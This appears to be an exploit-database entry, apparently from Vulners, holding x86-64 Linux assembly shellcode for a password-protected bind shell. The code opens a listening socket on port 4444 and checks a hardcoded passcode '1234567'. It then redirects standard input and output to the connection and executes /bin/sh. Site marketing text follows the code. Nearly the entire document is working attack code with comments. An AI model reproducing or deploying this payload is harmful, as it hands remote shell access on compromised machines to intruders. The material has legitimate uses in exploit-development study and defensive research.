global _start
_start:
; sock = socket(AF_INET, SOCK_STREAM, 0)
; AF_INET = 2
; SOCK_STREAM = 1
; syscall number 41
push 41
pop rax
push 2
pop rdi
push 1
pop rsi
cdq
syscall
; copy socket descriptor to rdi for future use
xchg rdi,rax
; server.sin_family = AF_INET
; server.sin_port = htons(PORT)
; server.sin_addr.s_addr = INADDR_ANY
; bzero(&server.sin_zero, 8)
push rdx
mov dx,0x5c11
shl rdx,16
xor dl,0x2
push rdx
; bind(sock, (struct sockaddr *)&server, sockaddr_len)
; syscall number 49
mov rsi, rsp
mov al,49
push 16
pop rdx
syscall
; listen(sock, MAX_CLIENTS)
; syscall number 50
push 50
pop rax
push 2
pop rsi
syscall
; new = accept(sock, (struct sockaddr *)&client, &sockaddr_len)
; syscall number 43
mov al,43
sub rsp,16
mov rsi,rsp
push 16
mov rdx,rsp
syscall
; close parent
;push 3
;pop rax
;syscall
; duplicate sockets
; dup2 (new, old)
xchg rdi,rax
push 3
pop rsi
dup2cycle:
mov al, 33
dec esi
syscall
loopnz dup2cycle
; read passcode
; xor rax,rax - already zeroed from prev cycle
xor rdi,rdi
push rax
mov rsi,rsp
push 8
pop rdx
syscall
; Authentication with password "1234567"
xchg rcx,rax
mov rbx,0x0a37363534333231
push rbx
mov rdi,rsp
repe cmpsb
jnz wrong_pwd
; execve stack-method
push 59
pop rax
cdq ; extends rax sign into rdx, zeroing it out
push rdx
mov rbx,0x68732f6e69622f2f
push rbx
mov rdi,rsp
push rdx
mov rdx,rsp
push rdi
mov rsi,rsp
syscall
wrong_pwd:
nop
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation